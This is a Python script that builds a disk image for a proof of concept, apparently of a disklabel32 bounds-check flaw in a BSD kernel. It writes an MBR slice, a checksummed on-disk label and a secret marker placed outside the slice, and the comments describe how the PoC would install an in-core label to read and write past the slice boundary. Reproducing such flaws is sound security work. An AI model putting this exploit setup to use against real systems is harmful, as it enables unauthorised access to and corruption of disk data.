#!/usr/bin/env python3
# DF-2878 image builder (host-side)
#
# Builds a 64 MiB vn image:
#   - MBR with one slice (type 0xA5 / 386BSD) at LBA 2048, 61696 sectors
#     => slice s1 covers absolute sectors [2048, 63744)
#   - a VALID on-disk disklabel32 at slice-relative sector 1 (absolute 2049),
#     raw partition 'c' = absolute slice offset (2048), size 61696 (as the
#     kernel's l32_fixlabel expects for on-disk labels), partition 'a' with
#     fstype FS_OTHER so the probe creates /dev/vn0s1a covering in-slice
#     sectors [4096, 4112) (absolute).
#   - marker "DF2878-OUTSIDE-SLICE-SECRET" at absolute sector 63844, i.e.
#     slice-relative 61796 -- OUTSIDE the slice.
#
# The PoC then installs an in-core label via DIOCSDINFO32 whose 'a'
# partition points at slice-relative 61796 (the out-of-slice marker) and
# reads/writes through /dev/vn0s1a.
import struct, sys

SEC = 512
SLICE_START = 2048
SLICE_SIZE = 61696          # slice = [2048, 63744)
MARKER_ABS = 63844          # outside the slice
MARKER_REL = MARKER_ABS - SLICE_START   # 61796

DISKMAGIC32 = 0x82564557
RAW_PART = 2
FS_OTHER = 10

nsec = 131072                       # 64 MiB / 512
img = bytearray(b"\0" * (nsec * SEC))

def put_label(buf, off, nparts, parts, secsize=512, secperunit=SLICE_SIZE):
    # struct disklabel32 (sys/sys/disklabel32.h), 404 bytes.
    # Offsets confirmed by the LOCORE constants in the header
    # (d_secsize=40 .. d_secperunit=60, label proper ends at 276=148+16*8).
    # d_partitions[16] starts at 148; each entry is 16 bytes.
    L = bytearray(404)
    struct.pack_into("<I", L, 0,   DISKMAGIC32)       # d_magic
    struct.pack_into("<I", L, 40,  secsize)           # d_secsize
    struct.pack_into("<I", L, 44,  32)                # d_nsectors
    struct.pack_into("<I", L, 48,  64)                # d_ntracks
    struct.pack_into("<I", L, 52,  SLICE_SIZE // 2048)# d_ncylinders (junk ok)
    struct.pack_into("<I", L, 56,  32*64)             # d_secpercyl (must be >0)
    struct.pack_into("<I", L, 60,  secperunit)        # d_secperunit
    struct.pack_into("<H", L, 74,  1)                 # d_interleave
    struct.pack_into("<I", L, 132, DISKMAGIC32)       # d_magic2
    struct.pack_into("<H", L, 136, 0)                 # d_checksum (later)
    struct.pack_into("<H", L, 138, nparts)            # d_npartitions
    struct.pack_into("<I", L, 140, 8192)              # d_bbsize
    struct.pack_into("<I", L, 144, 8192)              # d_sbsize
    for i, (p_size, p_off, fst) in enumerate(parts):
        o = 148 + i * 16
        struct.pack_into("<I", L, o,     p_size)
        struct.pack_into("<I", L, o + 4, p_off)
        struct.pack_into("<I", L, o + 8, 512)         # p_fsize
        L[o + 12] = fst                               # p_fstype
        L[o + 13] = 8                                 # p_frag
    # dkcksum32: xor of u16 words over [start, &d_partitions[nparts])
    nwords = (148 + nparts * 16) // 2
    s = 0
    for i in range(nwords):
        s ^= struct.unpack_from("<H", L, i * 2)[0]
    struct.pack_into("<H", L, 136, s)
    buf[off:off + 404] = L

# ---- MBR ----
mbr = bytearray(SEC)
mbr[510:512] = b"\x55\xaa"
ent = 446
mbr[ent] = 0x80                                  # bootable
mbr[ent + 1:ent + 4] = bytes([0xfe, 0xff, 0xff]) # CHS start (junk)
mbr[ent + 4] = 0xA5                              # DOSPTYP_386BSD
mbr[ent + 5:ent + 8] = bytes([0xfe, 0xff, 0xff])
struct.pack_into("<I", mbr, ent + 8,  SLICE_START)
struct.pack_into("<I", mbr, ent + 12, SLICE_SIZE)
img[0:SEC] = mbr

# ---- on-disk disklabel32 at slice-relative sector 1 (absolute 2049) ----
# on-disk labels store ABSOLUTE offsets (l32_fixlabel converts).
# 'a' (part 0): absolute [4096,4112) fstype FS_OTHER -> node vn0s1a created
# 'c' (RAW_PART=2): absolute 2048, size 61696 -> fixlabel accepts
put_label(img, 2049 * SEC, 3, [
    (16,     4096, FS_OTHER),   # 'a' in-slice
    (0,      0,    0),          # 'b'
    (SLICE_SIZE, SLICE_START, 0),  # 'c' RAW (fstype unused is fine)
])

# ---- out-of-slice marker ----
mk = b"DF2878-OUTSIDE-SLICE-SECRET\x00" + b"A" * (SEC - 30)
img[MARKER_ABS * SEC:(MARKER_ABS + 1) * SEC] = mk

# ---- in-slice filler at 'a' original extent (absolute 4096) ----
img[4096 * SEC:4097 * SEC] = b"df2878-inside-slice\x00" + b"B" * (SEC - 20)

open(sys.argv[1] if len(sys.argv) > 1 else "df2878.img", "wb").write(img)
print("image written: slice=[%d,%d) marker_abs=%d marker_rel=%d"
      % (SLICE_START, SLICE_START + SLICE_SIZE, MARKER_ABS, MARKER_REL))